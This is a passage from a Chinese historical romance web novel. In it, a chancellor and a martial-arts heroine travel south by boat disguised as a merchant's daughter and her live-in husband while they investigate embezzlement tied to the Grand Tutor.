“公子,他们有几个人逃走了,万一回去报信改怎么办?”富贵一脸担忧。
“明日我们便换水路,需要再换个身份了。”陆瑜沉思了片刻才说道。
富贵问:“那该怎么换?”
“她睡了吗?”陆瑜却突然没头没尾地问了一句。
这突然的话题转变让富贵愣了一下才反应过来,“属下方才看见白姑娘房间的灯已经熄了,想必是睡下了。”
“那便明日再说吧。”提起白妙可,陆瑜的冷冽的神色缓和了不少。
“没想到白姑娘的身手这般厉害,今日真是多亏她了,怪不得公子要寻她呢。”富贵语气中带着佩服。
听见这话,陆瑜却是蹙了蹙眉头,严肃道:“她确实厉害,但我寻她并不是为了这个。”
富贵犹豫开口:“公子不会真的对白姑娘……”
“此事莫要与他人说起。”陆瑜面无表情,让人看不出他的心思。
富贵连忙应是退下,心道以后该对白姑娘再恭敬一些才是,毕竟这位可能是自己未来的主子了。
屋内归于平静,陆瑜坐在桌边摩挲着手上的墨玉扳指。
熟悉他的人知道这是他思考时候的习惯动作,却无人知道这个用料考究的墨玉扳指是马鸿哲送他的弱冠生辰礼。
那年马鸿哲已经做上了太子之师,也就是太傅。而陆瑜作为太子陪读,便也一并成了他的学生。
从诗词经文到纵横谋略,从水利民生到沙场兵法,他从无到有一一教给他们。
他至今还记得自己弱冠生辰那日马鸿哲送出这个扳指时对自己说那句话:“无欲不得、无心难获、无术弗成。”
陆瑜多年后入了官场,成了朝中传言的心狠手辣的丞相时才觉得真正理解这句话:
没有欲望便无法获得、没有心机便难以获胜、没有谋略便不能成事。
做任何事都是如此。
因此虽然政见不同,但是陆瑜一直对他心怀感激,多年来二人关系算是亦敌亦友。
从师徒到对手,若说最了解陆瑜的人,除了父母,恐怕就是太傅了。
所以陆瑜并不怀疑他能猜到自己的路数,只是接二连三的刺杀,让他渐渐开始思考,他们师徒一场到底是如何是走到你死我活的地步的。
要想弄清楚这个缘由,恐怕还得到了江南姑苏才行了。
陆瑜轻叹一口气,连睡梦中都拧着眉头。
翌日一早。
“我说陆瑜有没有良心啊,我昨天可是救了他!哪有这么对救命恩人的!”白妙可仍带着困意的嗓音从屋内传来。
她一大早便被陆瑜派来的富贵给叫醒了。
富贵有些忐忑地开口:“白公子,我们公子真的找您有要事,您就快些起来吧。”
边说边留意着屋内的动静,准备随时跑路,陆瑜让他来喊白姑娘,也没说这位姑娘的起床气如此之大啊。
但是主子的命令他不得不听,于是他已经在白妙可门前努力了一刻钟的时间了。
直到他不知第几次苦口婆心地相劝,门终于开了。
只不过是被一个飞出来的枕头给砸开的。
富贵躲闪不急,被那个力道十足的枕头给砸到倒地,摔了个人仰马翻。
刚晕乎乎地抬起头便看见冲出房门的白妙可气势汹汹地往自家主子的房间走去了。
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他有心起身去提醒一下公子,却实在追不上白妙可的步伐。
最后只能看着她猛地推门进去,又砰的一声将门关上。
富贵摸摸鼻子,自己的任务已经完成了,公子只能自求多福了。
白妙可进门的时候,陆瑜正在往身上套外袍,惊讶抬头看着招呼都不打就冲进来的女子。
便看见白妙可素面朝天,甚至嘴角还带着可疑的水渍,头发也没有任何束缚地披在肩上,松松垮垮的男子外袍披在身上,显然是爬起来便过来了。
“你……”白妙可的起床气在看见陆瑜以后便突然消失了。
因为他只穿了里衣!还是银色缎面的料子!
于是白妙可便顾不得生气了,一双水汪汪的大眼睛忍不住地往下瞟,状若无意地打量着陆大人不可言说的位置。
虽然白妙可也没见过,但是她看着那突出的弧度,感觉可能大概或许还不错吧……
一直未等到她后半句话的陆瑜疑惑地看了过来,白妙可猛地收回视线,装作在看窗外的风景。
“大小姐,窗户关着,你在看什么?”陆瑜更加迷惑了。
白妙可尴尬地挠了挠头,道:“我是想帮你开窗。”
陆瑜笑了笑,也不再纠结她的奇怪举动,只是笑着道:“我这么早便让人去叫你,是不是没睡醒?”
“没有没有,早就醒了。”白妙可经过刚才那番偷看,已经十分清醒了。
“那便好,我还担心你会不高兴呢。”同样刚起床的陆瑜难得语气慵懒。
“那怎么可能。”白妙可面不改色道。
陆瑜但笑不语。
对了,你找我何事?”她终于想起来问正事儿。
“我们被盯上了。”陆瑜也恢复正色道。
“就应该把昨天那些人都杀光的,免得他们回去报信。”白妙可语气懊悔。
陆瑜:……
“我想说的不是这个。”陆瑜无奈道。
“我们今日便换水路走,从莲城坐船三四日便可到江南地界。”他已做好计划。
“好啊,我还是头回坐这么久的船呢,一会儿上街买些东西带着。”白妙可略有期待。
“好,船上可能会有些无聊。”陆瑜不自觉地被她带跑了话题。
“对对对,可以带副叶子牌玩儿,橙子你会玩叶子牌吗?”白妙可兴冲冲地问。
“会。”陆瑜言简意赅。
两人讨论了一会儿叶子牌,陆瑜终于想起来正事儿。
“我叫你过来,是想说我们要换个身份再出发了。”陆瑜正色道。
“我这书生装的不像吗?为何要换身份?”白妙可不解。
陆瑜心想:你那砍瓜一样的杀人,哪里像书生了……但是这话他是万万不能说的。
他只道:“昨日便已经暴露了,恐怕下一波杀手已经在路上了。”语气淡淡,却隐含冰霜。
白妙可若有所思地点头,她是不怕什么杀手的,只是人多了应付起来的确麻烦。
于是她问:“那要改成什么身份?”
“你我扮作夫妻,此行是为下江南探亲,其余人均为家丁。”陆瑜缓缓说出自己的计划。
怕白妙可拒绝,未等她开口,陆瑜又补充道:“只是假扮,我不会唐突你的。”
31. 做个赘婿
“假扮夫妻?”白妙可惊讶反问。
她昨日的确是暴露了些身手,还是男子装扮,若是换回女装确实是最好的办法。
可她没想到陆瑜会想与她扮作夫妻。
“对,假扮平民夫妻,最不容易让人起疑。”陆瑜避开她探究的眼神,语气平静地解释。
“好啊!”白妙可清脆的声音传来。
“你同意了?”这回轮到陆瑜惊讶了,他没想到她会答应的这么利落。
“对啊,夫君。”白妙可笑眯眯地看着他的俊脸上渐渐漫上红霞。
觉得这男人有时候十分可爱,明明是他提出来的要求,现在却像个害羞的小媳妇一样。
白妙可怎么可能看不出他的私心,只是顺水推舟,毕竟有这般姿色的夫君可不吃亏。
陆瑜还没从她的那声夫君中缓过神来,就听见她继续开口。
“不过我也有个想法,不知你愿不愿意。”白妙可故作犹豫,其实心里已经想了一个又一个鬼点子。
“但说无妨。”陆瑜觉得她有些要求才比较正常。
“我们的身份这样安排如何?我是家大业大的富商小姐,你是上门入赘的秀才书生。我们成婚一年多,我陪你进京赶考,你落榜后我们一同回江南。”
“哦对了,你还身体不好,所以经常需要在房内休息不能露面,我十分关心体贴你,所以路上遇到的各种事务都是由我出面处理。”
“还有,既然你是我家的赘婿,那你便不能总是那副高高在上的权臣做派了,要对我笑脸相迎,才符合我们的身份。”
白妙可像个说书先生般眉飞色舞地讲了她细化过的两人人物设定,若不是陆瑜是刚刚与他提起假扮夫妻的事情,他都要以为这是白妙可想了许久的计划了。
丞相大人恐怕打死也想不到,这的确是白妙可想了许久的事情--让他做白家赘婿,只是想借着假扮夫妻的机会让他提前适应一下角色。
不过陆瑜还是从她一连串的想法中捕捉到了关键信息,他犹豫开口:“你是说让我做赘婿?”
“是假扮,假扮赘婿而已,你的对头们绝对想不到堂堂丞相会愿意做一个上门女婿的,岂不是更加安全。”这回轮到白妙可说服他了。
“可是我不知道如何才能像是一个……呃,赘婿。”陆瑜觉得这个提议有些荒唐,他当惯了上位者,哪里像个赘婿了。
“那没事儿,你就只管听我的便是了。”白妙可理所当然道,仿佛已经进入了角色。
“夫君~”见他还在犹豫,白妙可拿出自己的看家本领--撒娇,从前她靠这招对付自家老爹,没想到在他这儿也这么奏效。
女子蜜糖一般的声音击溃了陆瑜最后的迟疑,他无奈道:“好吧,一切听你的便是。”
“好嘞,我现在回去收拾,我们巳时出发。”白妙可说罢不给陆瑜拒绝的机会,花蝴蝶一般翩翩然推门溜走了。
一直守在门外的富贵看着她心情不错的样子,心道,还是自己公子有手段,白姑娘气势汹汹冲进去,欢欢喜喜地便走了。
又过了片刻,屋内传来陆瑜的声音:“进来。”
富贵立刻应声推门进去。
“你去同其他人说一下,身份有变,任何人不许露馅。”陆瑜吩咐道。
“好的公子,要换什么身份?”富贵颔首问。
“你们扮做家丁仆从,切勿暴露身手;白姑娘换回女子身份,是富商之女;我扮做秀才书生。”陆瑜顿了顿,深吸一口气继续才继续道。
“是她的上门赘婿。”
语毕一片寂静。
过了半盏茶的功夫,富贵还是怀疑是自己听错了,斟酌开口:“公子你说什么?”
“只有这般最不易引人起疑。”陆瑜面色不辨喜怒,语气却是冷硬得很。
富贵只好努力憋住自己的一连串疑问,低头应是,也明白了为何白姑娘出门的时候那般喜悦。
能想出让权倾朝野的丞相大人做赘婿,实在是……匪夷所思,换做其他人怕是是想都不敢想的事情。
在陆瑜赶人之前,富贵火速退出房间,想着该如何同那些锦衣卫的人告知此事。
行至白妙可房门前,便看见她已经换回了女子衣裙,一身秀纹镶金边的杏色衣裙,身上更是穿金戴银,好不气派。
未等富贵同她打招呼,她便拉着春杏一阵风般出了客栈。
“小姐还是这般打扮好看。”春杏也换回了女子装扮,同白妙可一起出去置办些东西。
“终于可以做回自己了,真好!”白妙可心情颇好。
两人先去了一间瓜果铺,买了些糖果蜜饯葵花籽等吃食。
然后又去了成衣铺,她早便发现南方这边的衣服样式与京中不甚相似,终于有机会上身试试,她大手一挥便买下了店里最贵的两件衣裙。
“掌柜,再找两件男子穿的衣袍来,给我那上门夫婿也买两件。”白妙可同掌柜说。
铺子掌柜接了这般大买卖,已经是笑的见眉不见眼,忙去拿来几件面料讲究的男子衣袍。
白妙可看了一圈,点了其中两件,“劳烦把这身月白色的和那身暗青色的包起来吧。”
她还记得陆瑜穿月白色长衫那谪仙般的模样,却又选了一间暗青色,想着偶尔也该换换口味才好。
两人很快付钱离开,没多久便有一个鬼鬼祟祟的人进了成衣店。
“方才那姑娘来做了什么买了什么?”其中一人将刀抵在掌柜腰上问。
“哎呦呦,别这样,我都说,那姑娘大方得很,自己买了两身最贵的衣裙,还给她那赘婿夫君也挑了两身。”掌柜颤声说道。
两个黑衣人离开成衣店。
“是他吗?”
“不是,那可是丞相,怎么可能是赘婿。”
“那怎么办?”
“废话!人跟丢了,马上跟上面汇报领罚吧。”
两人合计的功夫,白妙可跟春杏悄悄进了一间武器铺。
“终于不跟着了。”白妙可呼出一口气。
春杏一惊:“有人跟着我们?”
白妙可点点头:“现在没了。”
“掌柜,要一套飞镖,一套银针,要最小的即可。”白妙可对着武器铺掌柜道。
“姑娘可能不懂,这类暗器太小的话,可没什么威力。”掌柜劝道。
“无妨,就要最小的。”白妙可的注意力被架子上的一把精巧匕首吸引,随口答道。
暗器确实是大一些的杀伤力更强一些,但是在绝对的力度和准头面前,便只是次要因素了。
这把匕首也要了。”白妙可拿着架子上那把墨玉刀柄的匕首,摩挲着上面的雕刻的细腻
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纹路,又蹭了蹭锋利无比的刀刃,露出满意的微笑。
“姑娘,这匕首可不便宜。”掌柜提醒。
“我家小姐有钱。”春杏掏出一锭银子拍在桌上。
现在白妙可这富商之女的身份可以说是本色出演,那股挥霍奢靡的风格也就回来了。
掌柜连忙应是,接过银子,将白妙可方才要的一堆暗器和那把匕首拿檀木盒子包的像是什么珠宝一般,任谁都看不出来里面是暗器。
白妙可心道这个掌柜还挺上道。
眼看时间也差不多了,两人便回了客栈。
白妙可发现这一众锦衣卫已经换上了大户人家仆从常穿的粗布衣裳,果然是人靠衣装啊,这几个高手穿成这样也看不出有什么本事了。
众人虽早已被告知了那两位书生都是女子的消息,在看见白妙可巧笑嫣然衣袂飘飘的时候还是不约而同地吸了口气。她做男子装扮的时候,便称得上貌若好女,换回女装,便当真称得上一句人间绝色了。
于是丞相大人近日对她这般关心,并不是断袖,而是君子好逑啊。
“夫君,我回来啦。”人未至,声先到,白妙可在陆瑜门外便开始呼唤他。
像是等在门口一般,她话音刚落,房门便被推开。
陆瑜一眼便看见了久违的招摇明艳的白妙可,和神色各异的锦衣卫们。
他锋利的眼眸一一扫过,众人纷纷低头。
“夫君。”见他没有回答,白妙可又拖长音调喊了一声。
“娘子,该出发了。”陆瑜方才回过神来,收敛目光柔声回答。
低眉敛目,倒真有些柔弱书生郎君的模样,白妙可笑笑,接着对众人道:“那便出发吧。”
俨然一副当家女主人的姿态了。
锦衣卫们还未适应,仍在原地等陆瑜吩咐。
陆瑜不悦地递了富贵一个眼色,后者立刻懂了,率先带头道:“好的夫人。”
于是一行人才出发赶往码头坐船。
白妙可这次与陆瑜同坐一辆马车,既然是柔弱书生和商户大小姐的身份了,那坐马车便理所应当了。
“我会再叮嘱一遍他们的。”,马车上路以后,陆瑜率先开口,说的是方才锦衣卫不听白妙可安排的事情。
“没事儿,你自己别露馅便好。”白妙可对其他人都不以为意,只意味深长地看着陆瑜。
“不会的。”陆瑜低声道。
说完又补了一句,“娘子。”
白妙可这才又笑着拍了拍他的手,道:“方才我去街上被人跟踪了,跟了一半又走了,想必是打消了怀疑。”
陆瑜蹙眉,“没想到他们这么紧追不舍,你再出门带上几个人吧,小心为上。”
白妙可挑眉看他,“他们的目标可不是我啊,丞相大人。”
听她又唤回了大人,陆瑜蹙蹙眉,听出了她的弦外之音,回道:“跟我一路确实危险,连累你了。”
语气有些惭愧,他却毫无悔意。
他并不是什么纯善之人,既然抓住了,断然没有放手的道理。
白妙可并未发觉什么,仍旧语气懒散:“算不得危险,只是有些麻烦罢了。”
又在心里补了一句,若是真有危险,没人能连累到我。
这心思各异的一对“夫妻”便开始了后续的路途。
32. 呼吸交错
上船以后,白妙可理所当然地便让人去定船上最好的房间。
然后就发现了一个新的问题--他们两个应该怎么住。
“分开住。”
“一起住。”
两人几乎是异口同声地说到。
白妙可挑眉看他,压低声音道:“我们现在可是夫妻,分开住岂不是会让人生疑。”
“可是孤男寡女同住一间,若是被有心之人知晓,会有损你的声誉。”陆瑜也放低了声音,却是前所未有地义正言辞。
“又不做什么,住一间怎么了。”白妙可小声嘀咕。
“还是不可。”陆瑜难得对她这般态度坚决。
没想到他会这般古板,白妙可只能歇了趁火打劫的心思,心想这位丞相难道真的如同传言那般洁身自好不近女色吗。
两人正僵持的时候,富贵前来禀报:“公子,船上还有特等客房一间,分内外室。”
接着又凑近压低声音道,“有两张床。”
白妙可眼睛一亮,本以为船上空间有限不会有这种厢房,没想到真有,那不就完美解决问题了嘛。
于是不等陆瑜开口表态,她便同富贵道:“就定这间吧。”
俨然一副女主人姿态。
富贵下意识看向陆瑜,便看见他面无表情地点了点头,耳朵却是微微泛红。
定好房间。
白妙可与陆瑜走进这间房便发现这间船上最大的特等客房,也算不得太大,只有普通客栈的大小,倒也的确是分开了内外两室。
内室里侧放着一张黄花梨架子床,刚够两人平躺的大小,白妙可伸手按了按,床上还算软和。
内室东侧摆着一方妆台,上面放着面不大不小的铜镜用于梳妆;西侧是两个一人高的衣柜,房间正中摆着扇山水屏风,刚好够遮住架子床,这里间剩下的位置便是连套桌椅都放不下了。
外间倒是有桌椅,在靠窗的位置还有一方贵妃榻,想必是方便看窗外风景设置的,若是临窗煮茶赏景也算惬意,就是睡在此处恐怕会有些憋屈。
其余布置白妙可打量了一圈,还算满意。
最后她坐到贵妃榻上,便准备躺下小憩一会儿,她在家惯常都是要歇晌的,只是赶路辛苦已经停了好几日了,难得下午没事,她便准备抓紧时间休息一会儿。
“我睡一觉。”她斜靠在贵妃榻上对陆瑜道。
说罢刚闭上眼睛,耳边就响起男人清冷的声音,“你去内室睡。”
抬眼便看见陆瑜长身玉立,居高临下地看着自己。
虽是睥睨的姿态,但是白妙可在他的眼底眉梢间只感受到了掩盖不住的关心。
“不用,在这儿就行。”
见白妙可没有动作,又要睡去。陆瑜无奈开口解释:“船上风大,夜里更凉,你去内室睡,免得又着凉。”
听见他这个又字,白妙可心里刚浮现的粉红泡泡瞬间烟消云散。他这话里虽是关心的口吻,但是向来要强的白妙可却是觉得自己有些被小瞧了。
她不高兴地撇撇嘴,小声嘀咕:“上次着凉是意外,我身体好着呢。”
陆瑜没听清她在说什么,便走近了两步,两人距离倏然缩短。
倾身问道:“你说什么?”
白妙可抬头便对上了他深邃眼眸中盛满的认真,推拒的话便咽了回去。
只在心里继续想:明明是个心机老狐狸,怎么看人这么真诚,搞得我都不好意思调戏你了!
但是她说出口的话却没有半分不好意思:“我说,多谢夫君关心,你也要多多保重身体哦~”
说罢还冲着陆瑜眨了眨眼睛,陆瑜仍旧不太习惯她叫自己夫君,怔愣片刻,又开始疑心她是不是话里有话……
这么一折腾,白妙可也没了睡意,索性站了起来。
若说方才两人还有上下方向的距离,此刻便离得更近了。
白妙可在女子中算是高挑的身材,此刻挺直脊背却也只能看到陆瑜棱角分明的下颌和男子突出的喉结。
陆瑜还未从她方才的那声夫君中回过神来,便猝不及防嗅到了久违的栀子花香。
看见近在咫尺的少女,陆丞相生平第一次感觉有些手足无措,他说话都不自觉放轻了声音:“你,你做什么?”
白妙可本想让他给自己让个路的,此刻却饶有兴致地盯着随着他说话上下滚动的喉结,陷入沉思一时没作声。
久未等到回应,陆瑜低头去看面前的少女,白妙可似有所感,也恰好在此时抬头。
两人对视的瞬间,呼吸交错,时间仿佛都静止了。
离得太近,白妙可的视线不自觉地落到他浅淡却好看的薄唇上,是她踮踮脚便能触碰的距离。
她便不自觉地开始想象丞相大人的嘴唇是不是也像他这个人这般冷硬,只是还未等她脑补更多少儿不宜的画面时,陆瑜终于反应过来,猛地后撤两步,拉开了两人的距离。
白妙可略带遗憾地叹了口气,说道:“我出去逛逛。”
陆瑜背过身去,平复自己略急促的心跳,闻言道:“让戎青跟着你?”
毕竟船上的各路的人都有,保不准是否安全。
“不用,我让春杏陪我。”白妙可才不想跟那个黑脸侍卫一块儿呢。
陆瑜点头:“也好。”
白妙可便绕过他往外走了。
春杏也已经安置好了东西,见她出来便快步迎上前。
“小姐,船已经开出有段距离了,你看这水多深啊。”春杏也是第一次坐这般大的船,语气难掩激动。
“嗯,走吧,我去船头看看。”白妙可招呼她道。
两人结伴去往船头。
远远便看见船头处站着两个人,待走近了白妙可才发现是一位姑娘一位公子,两人衣着淡雅,气质却是出尘。
白妙可未做多想,依旧领着春杏往前走去。
正在谈话的两人也注意到她了,停下了话头,不动声色地打量着白妙可。
白妙可并不在意他们探究的眼光,目不斜视地从二人身边经过,径直走向船头的栏杆。
她将上半身靠在栏杆处,感受着不冷不热的风拂过,将手伸出栏杆似乎想去摸一摸湖水。
一旁的春杏小心地拉着她,似乎是有些害怕,看起来角色不好。
“小姐,我觉得……呕……”春杏话未说完便扶着栏杆干呕一声。
白妙可吓了一跳,忙扶住她问:“你怎么了?哪里不舒服?”
春杏面色苍白的捂着胸口喘气,一时之间都没法回答。
中毒了吗?!白妙可
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在脑中飞速回想从早上开始的吃食,试图找出哪个环节出了问题。
身后却突然响起一个女子的声音:“这位姑娘大概是晕船了。”
白妙可转头看去,发现是方才两人中那位穿粉色衣裙的女子。
女子约莫十五六岁的年纪,长得娇娇弱弱,说话确是透着几分清冷。
“姑娘如何知道?”白妙可犹豫地问。
“家父擅医,是以我也跟着学了一些皮毛,若是不介意,我可以帮这位姑娘看一下。”女子开口解释。
看了眼女子纤弱的身姿,又扫了一眼这位女子的同伴,那男子正摇着折扇在一步之内面色平静地看着她,仿佛一切都事不关己的模样。
白妙可终于是点了点头,一手扶着春杏一手悄悄摸到了袖中的银针,若是面前的女子有何异动她便……
那位女子并拢两指探向春杏的手腕,仔细感受了一下脉搏才收手道:“这位姑娘是晕船之症,勿要再看水了,回去躺着休息一下会好些。”
白妙可看着春杏虚弱的模样,向着女子点点头:“多谢姑娘,我这便带她回去休息。”
“无妨,快去吧。”女子颔首退到一旁。
白妙可便将春杏背到背上,步伐稳健地回了厢房。
船头便只剩最初那几位了。
“我说阿灵啊,这般小病也值得你出手,莫非你也看出了些端倪?”一身素色长袍的公子摇着手里的折扇说道,一双桃花眼端的是风流倜傥。
“我们本就该医者仁心,既然碰见,便是缘分。”这位名叫阿灵的女子依旧是清凌凌的语气。
他们二人是药神的两位徒弟。
那位身量颀长,一双勾人桃花眼的男子是大师兄竹雨,江湖人称玉面医郎,最是擅长制药解毒,传闻任何剧毒奇毒,只要找到他便算是有救了。
名叫阿灵的女子是小师妹,这次是她头回跟着师兄出门历练。
“我看你就是没尝过人间险恶。”
“那位姑娘明显不简单,还是少招惹为好。”竹雨放低声音道。
“为何这般说?”阿灵好奇地问。
“你没看见她单手将那女子背到身上的动作嘛,那般力气绝非普通女子能做到,而且她走路步伐轻盈无声,身手必定不错。”竹雨解释道。
“我们又不会害人,相安无事便是。”阿灵听罢得出结论。
竹雨摇摇头没再接话,只是目光定定望着白妙可离开的背影直至其拐入房间。
仿佛透过她看见了另一个人。
白妙可将春杏背回她的房间,进屋后给她倒了杯热水,关切地问:“感觉怎么样?”
春杏坐在床边,脸色好了一些:“好一些了,小姐别担心,感觉那位姑娘说的可能是真的,离开围栏好了许多。”
白妙可点头:“那你便躺在屋里休息罢,有事跟我讲,别再出去了。”
春杏却是不依:“可是奴婢还没给小姐收拾好东西呢。”
说罢便想起身,白妙可忙将她按回床上,说道:“你就好好躺着吧,又没有多少东西,我自己能收拾的。”
春杏还想再说些什么,白妙可却是帮她把床帐都拉了下来。
“好了,你休息吧,我走啦。”
说罢便离开了她的房间。
33. 只是利用
白妙可从春杏那儿离开。
思来想去又晃悠回了她和陆瑜的客房。
房门紧闭,里面静悄悄的,时间已经过了晌午,白妙可不确定陆瑜是否在房内,于是抬手轻轻扣门。
“进。”男子低沉的嗓音很快传来。
白妙可推门进去,便看见陆瑜坐在窗边的贵妃榻上拿着张纸在看,富贵在一边擦拭桌椅。
陆瑜见她进来,有些诧异的抬头。
“怎么这么快就回来了?”陆瑜问。
“春杏好像晕船了,我刚把她送回房间,你带了大夫吗?”白妙可开门见山地问。
“富贵,你去看看。”陆瑜吩咐道。
富贵应了声是,便出门了。
“富贵不是你的长随吗?他还会医术呢?”白妙可好奇问。
“他会的多着呢,以后你就知道了。”陆瑜的视线又移回了手上信纸上,头也不抬地回。
“噢,那我在这儿等他消息。”白妙可说罢走到桌边坐下,给自己倒了杯茶水。
见陆瑜仍旧在认真盯着信纸看,她心里有些痒痒的好奇,很想问问他在看什么,但是又怕是什么朝廷机密。
于是她灵机一动,又拿起一个空茶盏倒了杯水,端着便稳稳当当走向陆瑜。
“陆大人,请喝茶。”走到近前她才开口。
趁着将茶水递过去的功夫,她自认很是隐蔽地扫向陆瑜手中的信纸。
陆瑜腾出一只手接过茶水,也没在意她明目张胆地偷看,只是语气淡淡地问:“你叫我什么?”
“啊?”白妙可的注意力都在他手中的信纸上,一时间没明白他在说什么。
“我说娘子,你该喊我什么?”陆瑜耐心的重新提醒她。
“哦哦,我说夫君请喝茶。”白妙可终于反应过来自己叫错了称呼,从善如流地改口。
这次陆瑜终于满意了,接过茶水喝了一口。
白妙可仍然杵在一边试图偷看。
陆瑜被她的样子逗笑,干脆将手中的信纸递了过去:“想看给你看便是。”
被抓包的白妙可也并不在意,毫不客气地接过纸,一目十行看完。
“这事是真的吗?”白妙可惊疑不定地问。
“这是你哥亲自调查的,你不信他?”陆瑜淡定反问。
“我哥查的?他不是刚到工部上任没多久吗?怎么会查这些东西?”白妙可心中更加困惑。
陆瑜却没再解释,只是静静看着她,眸色温和,仿佛能包容一切。
白妙可又仔仔细细将信件逐字逐句看了一遍,终于想起先前哥哥刚刚上任时候说过的话,陛下将他安置在工部恐怕是别有用意,现在看来果真如此。
“我知道了!是陛下的意思吧?”白妙可想通了事情的关键,哥哥作为皇帝亲自选出来的新科状元,为陛下办事也是理所当然。
陆瑜不置可否地点了点头,仍旧定睛看着面前的女子,想抬手将她因为思索而轻轻蹙起的眉头抚平。
白妙可并未给他机会,接着道:“所以陛下早便怀疑太傅在江南有些猫腻,故而安排我哥进工部调查,结果真的查到工部的账目作假。”
那封信并不是白永思的字迹,想必是陆瑜的手下传来的消息。信上说调查了工部近十几年的账目,发现每年都有多次以修缮官道水利为由,大量银钱流入江南姑苏。
便是白妙可并不甚了解朝堂相关也知道,工部大半人马均是太傅马鸿哲一手提拔起来的亲信。这般联想起来,他们此举是为谁办事便不言而喻了。
信中只说白永思已经查到了银钱支出的账目有问题,但是具体流入姑苏何处还未可知。
“你去江南也是为了此事吧?”白妙可顿悟,她一直好奇陆瑜去江南为何,却没想到也是为了调查太傅,而且看他一直讳莫如深的样子,恐怕也是秘密出行。
陆瑜笑着点头:“娘子着实聪慧过人。”
这便是承认了。陛下是让他保密,所以他并未主动透露,而是让白妙可自己猜了出来,这便算不得抗旨。
白妙可便想通了更多,她继续说到:“你在京中称病也是为了掩盖离京的事情。”语气已经没有了疑问,而且笃定。
“是。”陆瑜坦然。
“可是你的踪迹还是暴露了,所以引来了这一路的追杀,这些追杀的刺客,是太傅派来的?”白妙可继续推测。
“是。”
“所以,”白妙可深吸一口气才继续说道。
“你千方百计也要与我同行,并不是心悦我,而是为了让我保护你?”
此话一出,气氛有些诡异的安静。
陆瑜没想到她会问这个问题,下意识想要否认,但是这没什么说服力的否认卡在了嗓子中一时难以开口。
白妙可依旧定定看着他,面上没什么其他的神情,但是她却是难得执着于一个回答。
“不是。”陆瑜看着她渐渐趋于平静的神情,终是忍不住开口。
“设计同路也只是为了我的个人私情。若有危险,你还是保全自身重要,我不愿你因我涉险。”陆瑜说得缓慢又坚定,平日锐利深沉的眼眸中多了几分患得患失的担忧。
“好,我知道了,我们会平安到达江南的。”白妙可恢复了笑眯眯的模样,仿佛已经相信了他的话,不再纠结这些。
情之一字,又如何能说清。
陆瑜苦涩的笑了笑,能以一敌百舌战群儒的人此刻却不知该怎么为自己辩驳。
“对了,我哥在京城……应该不会有危险吧?”白妙可又担心起了自家老哥的安危。
“不会的,离京前我便已经安排暗卫保护他。”陆瑜答道。
“那便多谢丞相大人了。”白妙可笑着冲他作揖。
称呼又换回了丞相大人,陆瑜却没再纠正她。
语气明明同以前没什么区别,陆瑜却敏锐的发现了她的疏离,垂眸掩去眼底失落,同样冠冕堂皇地回答:“令兄是栋梁之才,自然该好好保护。”
白妙可点点头,“你也是栋梁之才,也该好好保护。”
听见这话,陆瑜便知道她并未相信他心悦她的说辞,一时不知该如何回答。
好在白妙可也没想等什么回答,她忽地起身说:“我去看看春杏怎么样了。”
说罢不等陆瑜答话便出了房门。
房门关紧,隔绝了屋内一声无奈的叹息。
白妙可快步走到春杏房间,她已经躺在床上睡着了,白妙可轻手轻脚地坐在床边。
目光落在春杏沉静的睡脸上,心思却已经飞远了。
她不由回想起与陆瑜相遇以来的种种,明明两人最开始
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便是相互利用的关系,便是前几天他还说心悦自己,自己也该清楚,这声色场里打滚的权臣怎么可能轻易动心。
保护他到江南对自己调查太傅也十分有利,她理应接受如此的。
可是白妙可感觉自己心里空落落的不知缘由,只归因于可惜,可惜这般容貌气度的男人怕是不能给自己当赘婿了。
“小姐,小姐醒醒。”春杏的声音传入耳中。
白妙可才发现她靠在床边胡思乱想半天,竟不知不觉睡了过去。
“你怎么样了?”白妙可早已将睡前的那点儿失落抛到了脑后,关切地问起春杏的身体。
“好多了,下午富贵过来帮我看了,也说是晕船之症,让我没事儿就待在房间,少出去看水会好一些。”春杏回答。
“没想到富贵还真会医术呢,那这两天你便好好待着,有事儿跟我说。”
“可是奴婢还要伺候小姐。”春杏仍想争取一下。
“我这边不用你伺候,你就好好休息。”白妙可假装板起脸来。
想到白妙可跟陆瑜在一个客房,自己可能确实不方便进去,春杏才作罢。
两人又说了些体己话便到了晚膳时间。
富贵敲门来送药:“春杏姑娘,我来送些缓解的汤药。”
白妙可起身去开门,“多谢你呀,我还以为在船上不方便煮药呢。”
“白姑娘客气了,是我家公子安排人跟后厨借了厨房。”富贵恭敬回答。
白妙可有些诧异陆瑜居然这么细心,说道:“替我多谢你家公子。”
“白姑娘何不自己说,公子还在等您用膳呢。”富贵说。
其实陆瑜并没有让他来邀请白姑娘用膳,只是他发现自家公子下午心情不佳,想请白姑娘去哄公子高兴罢了。
白妙可不疑有他,将药碗接过道:“好啊,我很快就来。”
看着春杏喝完药,白妙可才回了同陆瑜的客房。
富贵守在门口,一见到她立刻帮她开门,还边说到:“夫人回来了。”
白妙可诧异挑眉,她还是第一次被人叫夫人,多少有些习惯。
她进门便发现陆瑜坐在桌前了,桌上已经摆了些精致酒菜。
白妙可冲他笑笑,坐到了他对面的位置。
陆瑜倒了杯茶水放在她的面前。
“多谢。”白妙可端起茶水抿了一口,便提筷吃起饭来。
陆瑜也有一下没一下的夹着菜,他思索了一下午该如何自证没有利用她的心思,此时面对她毫无芥蒂的模样,又觉得语言是在是太苍白了。
君子论迹不论心,他还有很多时间证明自己的真心。
于是两人都没再提下午的事情,气氛还算融洽地吃完了这顿饭。
白妙可自然而然地走到了贵妃榻旁开始铺被子,春杏不在,她自然只能亲力亲为,没想到她刚一上手便被陆瑜打断。
“我给你铺了床铺,你睡内室。”
“你给我铺床了?”白妙可挑眉问,十分怀疑像他这般矜贵的人会做这种事吗?
“你去看看不就知道了。”陆瑜语气淡淡,腰板却挺得笔直。
白妙可却看出了他那一副求夸的神态,突然觉得他跟自己养的那只小黑狗好像,都喜欢挺直胸脯等着她的表扬。
于是转身进屋。
34. 划清界线
白妙可进屋便发现,内室的架子床上整整齐齐地铺了柔软的被褥,连两侧的床帐都收成了统一的形状。
“不愧是丞相大人,连这等小事都做的如此细致。”白妙可毫不吝啬地夸奖道。
“举手之劳罢了。”陆瑜说得云淡风轻,心里却很是受用。
白妙可没再跟他客气:“那我就睡里面了。”
“好,我就在外面,你有事便喊我。”陆瑜答道,说罢又觉得可能自己有事的概率大一些,接着补充:“房间周围有戎青安排的侍卫,你不必担心。”
“好,那我先去……”白妙可答应一声便准备去洗漱,结果发现盥洗室居然只有一间!
于是她的话就卡了一半在嗓子里,偷看陆瑜洗澡是一回事儿,她可不想被看啊!
陆瑜也是刚刚发现这个问题,几乎是立刻起身说道:“我先出去看看他们安排的守卫情况。”
